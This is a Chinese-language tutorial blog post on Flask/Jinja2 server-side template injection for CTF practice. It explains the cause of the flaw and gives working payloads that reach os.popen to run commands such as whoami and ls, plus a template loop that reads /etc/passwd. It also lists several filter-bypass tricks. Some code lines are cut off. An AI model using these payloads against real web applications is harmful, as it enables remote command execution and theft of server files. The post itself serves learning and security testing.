python SSTI注入(一)
基础知识学习
什么是SSTI注入
ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。本文着重对flask模板注入进行浅析。
from flask import Flask |
此时传参的变量为404_url,如果我们访问
?404_url={{1-1}} |
页面将返回0。
在
{{}} |
里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。
直接将用户可控参数request.args.get('404_url')
在模板中直接渲染并传回页面中,这种不正确的渲染方法会产生模板注入(SSTI)。
Jinja2渲染模板
简介
jinja2是Python的一个流行的模板引擎。Web模板系统将模板与特定数据源组合以呈现动态网页。
基本语法
0x01 {%%} |
主要用来声明变量或用在条件语句或循环语句
注意条件和循环需要多一层 {%endif%} 或 {%endfor%}用作结尾 |
0x02 `{{}}` |
将大括号内的表达式执行并输出结果到模板内
{{98-2}} # 96 |
0x03 `{##}` |
注释
[],{},” |
是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数爬向每一个Object,这样便可以利用当前Python环境执行任意代码。
模板引擎
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。
前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。
让我们用例子来简析模板渲染。
<html> |
我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为
<html> |
当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。
使用函数
在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti,接下来讲几个知识点。
__class__
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>
。
__bases__
以元组的形式返回一个类所直接继承的类。
__base__
以字符串返回一个类所直接继承的类。
__mro__
返回解析方法调用的顺序。
__subclasses__()
获取类的所有子类。
__init__
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__builtins__
__builtins__
下有eval
,__import__
等的函数,可以利用此来执行命令。
在看完上边这些自带方法、成员变量后,可能有点懵,接下来看看是如何利用这些方法以及成员变量达到我们想要的目的的。
在SSTI中,我们要做的无非就两个:
- 执行命令
- 获取文件内容
所以我们所做的一切实际上都是在往这两个结果靠拢。
例1:
for c in []._class_._base_.subclasses_()#通过内置变量访问类——>使用base输出类的父级——在通过subclasses()找到所有此父级的子级。 |
SSTI注入产生原因:
from flask import Flask, request |
对比上下两种代码书写两种形式:在第一种中,name参数是我们可控的,name参数后面会被直接渲染并将结果待会页面回显,所以这时就有了ssti注入:
在第二种中:
在flask中常用的渲染方法为render_template()
、 render_template_string()
当使用 render_template()
时,扩展名为 .html
、 .htm
、 .xml
和 .xhtml
的模板中开启自动转义。
当使用 render_template_string()
时,字符串开启 自动转义。
分析一下,就是此时页面数据已经确定,并且渲染时将会被转义,即你输入的数据不会被当做指令执行,而是作为那两个花括号的一个内容进行渲染,可以看到render_template渲染的内容是index.html,而不是用户输入的数据。
所以ssti产生原因便是:
1.存在用户可控参数
2.用户输入参数直接被渲染,即
{{}} |
可被带入代码中让jinja2模块识别并解析
flask——ssti环境实战:
from flask import Flask |
漏洞使用思路
首先我们使用
"".__class__#这里的引号是为了引出父类任何数据结构都行包括[]'' |
获取类,此时会返回类是str
再使用bases或者mro获取到object基类(因为object是所有类的基(父)类)。
"".__class__.__bases__ |
接下来获取其所有子类:
"".__class__.__mro__[1].__subclasses__() |
我们只需要寻找可能执行命令或者可以读取文件的类就可以了,重点关注os/file这些关键字。
获取到subclasses后,初步看了一下没有能直接执行命令或者获取文件内容的,接下来使用init.globals来看看有没有os module或者其他的可以读写文件的。
{{"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}} |
最终payload:
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}} |
CTF中的bypass
测试
我们如果想知道过滤了什么的时候,可以直接在
{{}} |
中测试我们输入的内容,看看网页会不会回显
过滤引号
可以使用[],’’代替第一个双引号
第二个双引号的作用:获取字典内对应索引的value
这里介绍一种查看方法,在python中使用type(内容),可以查询内容的类性
type("".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__) |
request.args是flask中一个存储着请求参数以及其值的字典,
使用方法:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os |
此时即可绕过后面双引号的过滤
这里还有一种方法:
还有另外一种绕过引号的办法,即通过python自带函数来绕过引号,这里使用的是chr()。
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} |
爆破subclasses中chr()函数在哪
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}} |
为什么要这样构造?:
{% ... %}
for Statements ,可以实现for,if等语句,还支持set语法,可以给变量赋值
{%set chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%} |
先获取chr函数,赋值给chr,此时chr就拥有chr函数的功能了,然后接下来在后面拼接需要使用chr进行绕过的字符,如””
过滤中括号
回看最初的payload,过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os。
所以过滤了中括号实际上影响我们的只有从数组中取值,然而从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。
不过还是建议用getitem,因为pop会破坏数组的结构。
a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:
{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}} |
过滤关键字
如果没用过滤引号,使用反转,或者各种拼接绕过
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}} |
第二种绕过过滤关键字的办法即使用request对象:
flask获取参数方式:
request.form.get(“key”, type=str, default=None) 获取表单数据
request.args.get(“key”) 获取get请求参数
request.values.get(“key”) 获取所有参数
{"".__getattribute__(request.args.a)}&a=__class__ |
第三种是寻找其原生函数
过滤点
在python中,可用以下表示法可用于访问对象的属性
{{().__class__}} |
也就是说我们可以通过[]
,|attr()
,getattr()
来绕过点
常用语句:
任意文件读取:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %} |
读取到class后所指向的可以被继承的函数小结
python3的 |
python2
----------1----------- |
小结:
梳理了一遍以后,感觉其实ssti注入也不难,难的是一开始面对啥也不懂的手足无措,不知道从哪入手,现在可能还是有一些小点不是很懂,但是终于是没那么陌生了
参考:https://xz.aliyun.com/t/6885#toc-1
https://www.anquanke.com/post/id/226900#h3-14
https://xz.aliyun.com/t/3679#toc-9
https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E5%8A%A8%E6%89%8B%E5%AE%9E%E8%B7%B5
https://xz.aliyun.com/t/8029#toc-7
https://www.freebuf.com/articles/network/258136.html
https://juejin.cn/post/6908600736754434056#heading-13
python SSTI注入(一)